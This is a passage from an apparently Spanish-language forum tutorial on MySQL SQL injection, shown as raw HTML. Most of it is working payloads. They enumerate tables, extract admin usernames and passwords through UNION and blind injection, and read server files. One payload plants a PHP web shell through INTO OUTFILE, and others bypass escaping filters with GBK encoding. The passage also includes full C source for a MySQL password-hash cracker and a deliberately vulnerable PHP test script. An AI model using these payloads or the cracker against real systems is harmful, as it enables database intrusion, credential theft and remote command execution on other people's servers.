/>http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from<br />information_schema.tables where table_schema = database()<br /><br />Pasando valor a ascii y buscando ..<br /><br />http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from information_schema.columns where table_name = char(97,117,116,104) and column_name<br />like char()<br /><br />Pasar en ascii "%a%" quedando:<br /><br />http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from information_schema.columns where table_name = char(97,117,116,104) and column_name<br />like char(37,97,37)<br /><br />En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii.<br />Y ahí te larga palabras y luego obtener datos :)<br /><br /><u><b>Sacando demàs tablas,columnas etc .. de la base:</b></u><br /><br />Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi:<br /><br />-1 union all select table_name from information_schema.tables<br /><br />obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no ..<br /><br />por ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/2441/pantallazo16co6.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img357.imageshack.us/img357/2441/pantallazo16co6.png" style="max-width: 499px; "></a><br /><br />Como podemos ver tira todas las tablas .. en cambio en esta no:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img403.imageshack.us/img403/3509/pantallazo17iv7.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img403.imageshack.us/img403/3509/pantallazo17iv7.png" style="max-width: 499px; "></a><br /><br />Asi que para ver la siguiente tabla o registro usaremos<span class="Apple-converted-space"> </span><b>limit</b><span class="Apple-converted-space"> </span>al final de la url ejemplo:<br /><br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1--<br /><br />Ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img403.imageshack.us/img403/9270/pantallazo19hr9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img403.imageshack.us/img403/9270/pantallazo19hr9.png" style="max-width: 499px; "></a><br /><br />como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit ..<br /><br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--<br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1--<br />..<br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1--<br /><br />etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos<br />al menos que evitemos lo que no queremos ver :P ejemplo ..<br /><br />en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas)<br /><br />pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo asi:<br /><br />1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1--<br /><br />como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas.<br /><br />aparte de usar limit podriamos usar<span class="Apple-converted-space"> </span><b>group_concat()</b><span class="Apple-converted-space"> </span>lo que haria es largar nombres de tabla pero no todas ejemplo:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img140.imageshack.us/img140/1161/pantallazo20lr7.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img140.imageshack.us/img140/1161/pantallazo20lr7.png" style="max-width: 499px; "></a><br /><br />y para evitar el tema de que aparezca todo junto podriamos hacer algo asi:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img339.imageshack.us/img339/6418/pantallazo21nu3.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img339.imageshack.us/img339/6418/pantallazo21nu3.png" style="max-width: 499px; "></a><br /><br />como podemos ver puse:<span class="Apple-converted-space"> </span><b>0x3C62723E</b><span class="Apple-converted-space"> </span>que seria un salto de linea en html osea <br>.<br /><br /><b><br /><font color="red">TUTORIAL DE PonyMagic</font></b><br /><br />[+] Como muchos saben, con Group_concat(), el límite es de unos 250 caracteres, por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres, una muy simple, y la otra... masomenos :P<br /><br />[+] El 1er Semitip' que tengo, es que cuando usen Group_concat(), realizen un cast() al objeto y lo hagan una variable CHAR. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) . También, para los que setean el delimitador dentro del group, les recomiendo replazar "," por "<br>" luego con replace(). Sino, estamos gastando esos valiosos 1024chars, esto es lo máximo que sacaremos de un solo select con group_concat:<br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)</pre></div><br /><br />[+] hasta ahí vamos a poder llegar con group_concat, pero también voy a "enseñar" una forma para realizar un "limit casero" en el concateo :) supongamos que tenemos esta inject:<br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> id=1 and 1=2 union select 1,2,3,4--</pre></div><br /><br />[+] lo 1ro que vamos a hacer, es un select pidiendo las tablas a information_schema.<br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables ),3,4--</pre></div><br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://i34.tinypic.com/2rdjk0k.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://i34.tinypic.com/2rdjk0k.png" style="max-width: 499px; "></a><br /><br />[+] Lo que nos devolvería los 1ros 1024chars del concateo. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres. Para eso vamos a usar la funcion INSTR()<br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables Where INSTR( (Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema.tables), Table_Name ) = 0 ),3,4--</pre></div><br /><br /><br />[+] Con esto ya tenemos 3072 chars, algo asi como ... 205 resultados ( si fueran de al rededor de 15chars c/u ) en solo 3 consultas. sino, tendríamos que haber realizado 205 consultas modificando el limit de 1 en 1...<br /><br />[+] Bueno, por ahora solo eso, porximamente talvez haga algo en JS que edite el link y eso para tener una inject modelo con un botoncito siguiente =P<br /><br /><br /><br /><br /><br /><br /><font color="red">FIN TUTO</font><span class="Apple-converted-space"> </span>(Gracias por esta info, de verdad muy valiosa.)<br /><br />Link blog PonyMagic:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://ponymagic.diosdelared.com</a><br /><br /><br /><br />En versiones MySQL 4 o sin permiso para information_schema la unica forma de obtener tablas y columnas es adivinándolas ..<br /><br />por ejemplo:<br /><br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from<span class="Apple-converted-space"> </span><b>admin</b>-- > error<br /><br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from<span class="Apple-converted-space"> </span><b>adm</b>-- > error<br /><br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from<span class="Apple-converted-space"> </span><b>administrador</b>-- > válido<br /><br />y de la misma forma para columnas:<br /><br />http://localhost/print.php?id=-1 union all select 1,<b>password</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from administrador-- > error<br /><br />http://localhost/print.php?id=-1 union all select 1,<b>pwd</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from administrador-- > error<br /><br />http://localhost/print.php?id=-1 union all select 1,<b>pass</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16<br />from administrador-- > válido<br /><br /><br /><br />¿Para qué podría servir todo esto?<span class="Apple-converted-space"> </span><br /><br />Desde leer archivos de configuraciones, archivos en si, etc .. solo es<br />cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como:<br /><br />UNION SELECT "<!--? system($_REQUEST['cmd']); ?-->",2,3,4 INTO OUTFILE<br />"/var/www/html/mishell.php" --<br /><br />por ejemplo: (Una vez echa la inyeccion)<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img185.imageshack.us/img185/4121/pantallazo14dq1.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img185.imageshack.us/img185/4121/pantallazo14dq1.png" style="max-width: 499px; "></a><br /><br />y usando la shell:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://img687.imageshack.us/img687/931/pantallazo15.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img687.imageshack.us/img687/931/pantallazo15.png" style="max-width: 499px; "></a><br /><br />Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en alguna parte<br />del servidor.<br /><br />si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo:<br /><br />apache:x:48:48:Apache:/var/www:/sbin/nologin<br /><br /><u>en el httpd.conf:</u><br /><br />/etc/httpd/conf/httpd.conf<span class="Apple-converted-space"> </span><br /><br />(la ruta varia)<br /><br />viendo el code de alguna web del servidor .. como index.php,noticias.php o cualquiera.<br /><br />o usar alguna tecnica como Full Path Disclosure:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://www.owasp.org/index.php/Full_Path_Disclosure" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.owasp.org/index.php/Full_Path_Disclosure</a><br /><br />Para hacer esto y algunas inyecciones más,necesitamos saltarnos las magic_quotes que son las que no<br />nos dejan hacer nuestras inyecciones con eficiencia :P para eso existen algunas formas ..<br /><br />Como el "double encoding" bastante interesante y leer<br /><br />(<a href="http://ddlr.servepics.com/rd.php?go=http://www.owasp.org/index.php/Double_Encoding" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.owasp.org/index.php/Double_Encoding</a>)<br /><br />hex encoding<br /><br />para saltar filtros como las magic_quotes leer sobre "SQL Smuggling".<br /><br />También como he leído por ahí .. podríamos saltar algunos de los filtros que posee PHP veamos:<br />-------------------------------------------------------<br />(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x)<br />bypass a addslashes() con codificaciòn GBK<br />WHERE x = 0xbf27admin 0xbf27<br />-------------------------------------------------------<br />bypass mysql_real_escape_string() con BIG5 o GBK<br />se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion<br />pero es posible saltarse el mysql_real_escape() de esta forma.<br />aparte de ser caracteres chinos es BIG5 :P<br />-------------------------------------------------------<br />Vectores avanzados:<br /><br />Usando HEX para bypassear una consulta:<br /><br /><u>Consulta normal:</u><br /><br />SELECT * FROM login WHERE user = 'root'<br /><br /><u>Bypass:</u><br /><br />SELECT * FROM login WHERE user = 0x726F6F74<br /><u><br />Insertando nuevo usuario en SQL.</u><br /><br /><u>Consulta Normal:</u><br />insert into login set user = ‘root’, pass = ‘root’<br /><br /><u>Bypass:</u><br /><br />insert into login set user = 0×726F6F74, pass = 0×726F6F74<br />--------------------------------------------------------<br />Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo<br />algo como:<br /><br />SELECT HEX('root');<br />obtendremos algo como:<br />726F6F74<br />y luego le agregamos:<br />0x<br />quedaría: 0×726F6F74<br /><br />Tambien hace poco me encontre un articulo interesante del amigo xianur0 :P aunque hay que tener las magic_quotes = off:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html</a><br /><br />seria bueno que lo lean.<br /><br />Para ver si las magic_quotes estan activadas simplemente agreguen una ' (comilla siemple) si aparece algo asi:<br /><br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br /><br />es que no es posible por que aparece una barra invertida provocando un error en la base de datos ..<br /><br />pero si aparece algo asi:<br /><br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1<br /><br />sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades .. y inyecciones no tan complejas ademàs de poder actualizar datos,borrar etc ..<br /><br /><u><b>Ahora blind sql injection</b></u><br /><br />es un poco más liado .. pero aquí va:<br /><br /><u><b>Sabiendo si es vulnerable a Bsql</b></u><br /><br />Tenemos que saber esto:<br /><br />http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero.<br />http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso.<br /><br /><b>Nota: Recordarlo siempre.</b><br /><br />Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o<br />etc sabemos que es vulnerable a bsql.<br /><br />Sabiendo la versión de mysql:<br /><br />http://localhost/print.php?id=-1 and substring(@@versión,1,1)=4 <--- si nos larga la pagina normal<br />(si es verdadero) sera versión 4.<br /><br />http://localhost/print.php?id=-1 and substring(@@versión,1,1)=5 <--- si nos larga la pagina normal<br />(si es verdadero) sera versión 5.<br /><br />Podemos usar select pero si tenemos problemas podremos usar subselect.<br /><br />http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1<br /><br />Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor<br />como /etc/password y etc ... usando load_file() y outfile.<br /><br /><u><b>Buscando nombre de tabla y columna</b></u><br /><br />Puede ser difícil y con ganas de cagarte en muchas cosas xD.<br /><br />Adivinando la tabla:<br /><br />Hacemos esto:<br /><br />http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1<br /><br /><b>Nota:</b><span class="Apple-converted-space"> </span>con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es<br />importante. RECODARLO<br /><br />Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así<br />tendremos que seguir adivinando.<br /><br />Ahora la columna:<br /><br />http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit<br />0,1)=1<br /><br />Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */<br /><br /><u><b>Extrayendo datos</b></u><br /><br />Supongamos que ya tenemos nombre de la columna y la tabla:<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),1,1))>80<br /><br />El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero.<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),1,1))>95<br /><br />Da falso así que incrementamos.<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),1,1))>95<br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),1,1))>98<br /><br />Nos da falso.<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),1,1))>99<br /><br />Verdadero!<br /><br />Por lo que el primer carácter en el nombre de usuario es char(99). Y convirtiéndolo a ascii sabemos<br />que char (99) es la letra c.<br /><br />Entonces vamos a comprobar el segundo carácter:<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),2,1))>99<br /><br />Fíjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carácter, ahora vuelve el segundo<br />carácter, 1 carácter de longitud.<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),2,1))>99<br /><br />Nos da falso e incrementamos:<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),2,1))>107<br /><br />Nos da falso y buscamos un numero menor.<br /><br />http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),2,1))>104<br /><br />Falso, incrementamos ..<br /><br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from<br />members limit 0,1),2,1))>105<br /><br />Verdadero!<br /><br />Sabemos que el segundo carácter es char(105) y que es ''i'' vamos ''ci'' y seguimos incrementando,<br />cuando > 0 devuelve falso, sabemos que llegamos al final.<br /><br /><br />Hay herramientas que hacen que esto no sea muy pesado:<br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301</a><br /><br /><a href="http://ddlr.servepics.com/rd.php?go=http://sqlmap.sourceforge.net" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://sqlmap.sourceforge.net</a><span class="Apple-converted-space"> </span>< HERMOSA HERRAMIENTA :$<br /><br />Les recomiendo leer el tutorial que hizo<span class="Apple-converted-space"> </span><b>ka0x</b><span class="Apple-converted-space"> </span>que contiene un script donde podemos aplicar los<br />conocimientos de aquí y el que he usado a lo largo del tutorial :).(<b>http://www.milw0rm.com/papers/download/216</b>)<br /><b><br />MySQL cheat sheet:</b><span class="Apple-converted-space"> </span><b>http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/</b><br /><br /><b>MySQL cheat sheet:</b><span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/</a><span class="Apple-converted-space"> </span>(Màs que interesante)<br /><br />La intencion de este tutorial es solo enseñar y evitar este tipo de vulnerabilidades ..<br />no me responsabilizo de mal uso de esta información<br />espero que les sirva!!<br /><br />Algo más sobre mysql en este tuto es el<span class="Apple-converted-space"> </span><b>XSS en mysql</b><span class="Apple-converted-space"> </span>por si alguien le sirve .. asi:<br /><br />http://localhost/print.php?id=-1+union select 1<h1>hola--<br /><br />o cualquier tipo de Codigo.<br /><br /><b>TODA LA LECTURA ES OBLIGATORIA</b><br /><br />publiquen sus tips,errores o duda en esta publicación :).<br /><br /><br />Saludos!<br /><br />---------------------------------<br /><br />tools:<br /><br />el soft que use para descifrar el pass:<br /><br /><b>mysqlfast.c</b><br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; } </stdio.h></pre></div><br /><br />----------------------------------------------------<br /><u><b>script vulnerable</b></u><br /><br /><u>Code sql!:</u><br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">CREATE TABLE 'users' ( 'id' int(10) unsigned NOT NULL auto_increment, 'name' varchar(50) NOT NULL, 'password' varchar(50) NOT NULL, PRIMARY KEY ('id') ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; ­­ users ­­ INSERT INTO 'users' VALUES (1, 'administrator', '1234%&_'); INSERT INTO 'users' VALUES (2, 'ka0x', 't3st_bl1nd'); INSERT INTO 'users' VALUES (3, 'bush', 'terrorist'); </pre></div><br /><u><br />script php:</u><br /><br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"><!--?php # ­­­­ CONFIG ­­­­­ $host = 'localhost'; $dbuser = 'root'; $dbpass = 'password'; $dbname = 'blind'; # ­­­­­­­­­­­­­­­­­ echo "<title-->Blind SQL Injection Test ­ D.O.M LABS 2008"; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM users WHERE id=".$_GET['id']; $query = mysql_query($sql); if(@mysql_num_rows($query)==0){ die('No hay columnas'); } $result=@mysql_fetch_row($query); echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br>< br>"; echo "<font color="#FF0000">user_id: </font>".$result[0]."<br>"; echo "<font color="#FF0000">username: </font>".$result[1]."<br>"; // echo "Password: ".$result[2]."<br>"; echo "</center></h2>"; die(); ?> </pre></div><br /><br /><br />Explorador de base de datos (General Injection Explorer 3.0) atravez de sqli by<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com/?coment=4533" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 